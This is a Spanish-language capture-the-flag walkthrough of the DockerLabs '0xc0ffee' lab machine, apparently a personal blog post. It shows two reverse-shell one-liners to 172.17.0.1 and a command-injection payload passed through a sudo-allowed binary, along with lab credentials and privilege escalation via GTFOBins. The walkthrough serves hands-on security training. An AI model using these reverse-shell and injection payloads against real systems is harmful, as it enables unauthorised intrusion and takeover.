DockerLabs 0xc0ffee
Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Realizamos el escaneo de la dirección IP y podemos observar 2 puertos.
Ingresamos al navegador e ingresamos la dirección IP y podemos observar lo siguiente.
Realizamos un escaneo de subdirectorios, pero no encontramos nada.
Agregamos el puerto podemos ver lo siguiente.
Abrimos el .ssh
y observamos un id_rsa
. Pero ambos están vacíos.
Abrimos nota.txt
y observamos lo siguiente.
Vamos a secret
y luego seleccionamos el archivo que tiene dentro, podemos observar que tiene un texto bastante interesante.
Leyendo el texto tenemos lo siguiente.
super_secure_password
Ingresamos esa palabra en la página principal y vemos que nos redirige, ya que fue correcta.
Ingresamos un texto de prueba
Colocamos el nombre del archivo y podemos observar que interpreta el texto.
Vamos al puerto 7777 podemos observar que el archivo se guarda en esta carpeta.
Probaremos establecer una shell por este medio, para ello crearemos un archivo
bash -i >& /dev/tcp/172.17.0.1/1234 0>&1
Iniciamos nuestro listener.
Ingresamos el nombre del archivo y le damos en fetch configuration
Vamos a nuestro listener y podemos observar que ya obtuvimos acceso.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola.
Tratamos de realizar un sudo -l
, pero no es posible, ya que necesitamos un password.
Vamos a la carpeta home y de las dos carpetas que existen solo podemos acceder a la de codebad
.
Al ingresar observamos 2 archivos de los cuales secret
es una carpeta y tiene el siguiente texto y pensando un poco entendemos que se refiere a un malware
.
Como está en la carpeta secret
podemos suponer que se trata de un password. Probamos con codebad
y si le pertenece el password.
codebad:malware
Realizamos un sudo -l
y se puede observar la manera de escalar, la cual es haciendo uso del otro archivo que vimos en el directorio de este usuario.
Probamos ejecutando el comando y podemos observar que necesita un parámetro y también que hace uso del binario ls
.
Listamos el directorio de metadata
y observamos 2 archivos, tratamos de leerlos, pero no es posible.
Después de probar varias veces podemos observar que podemos leer el archivo si le agregamos comillas, pero no podemos leer el archivo pass.txt
y el archivo user.txt
se puede considerar como el flag de cierta manera así que no tiene sentido probar romperla.
Como podemos agregar comandos luego de listar archivos, nos aprovecharemos de esta opción para poder obtener una shell.
Iniciamos nuestro listener.
Enviamos la shell.
sudo -u metadata /home/codebad/code "/home/metadata | bash -c '/bin/bash -i >& /dev/tcp/172.17.0.1/1235 0>&1 '"
Después de varias pruebas obtuvimos conexión.
Volvemos a realizar el mismo tratamiento de la TTY
como lo hicimos con la anterior Shell.
Buscamos permisos SUID y capabilities, pero no observamos algo que sea útil.
Realizamos una búsqueda de archivos para metadata
y encontramos varias carpetas.
Ingresamos al directorio /usr/local/bin
y podemos observar que hay un archivo llamado metadatosmalos
y al abrirlo observamos lo siguiente.
Observando lo que se ejecutaría notamos que no tiene ningún sentido, ya que al realizar un whoami
el usuario no tiene la palabra pass.txt
. Probamos un sudo -l
y el nombre del archivo como password y observamos que si le corresponde, así también podemos ver la manera de escalar como root
.
metadata:metadatosmalos
Para este binario vamos a la página de GTFOBins y vemos que comando usar para escalar.
Ingresamos los comandos y podemos observar que obtuvimos acceso como root. De esta manera culminando esta máquina.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by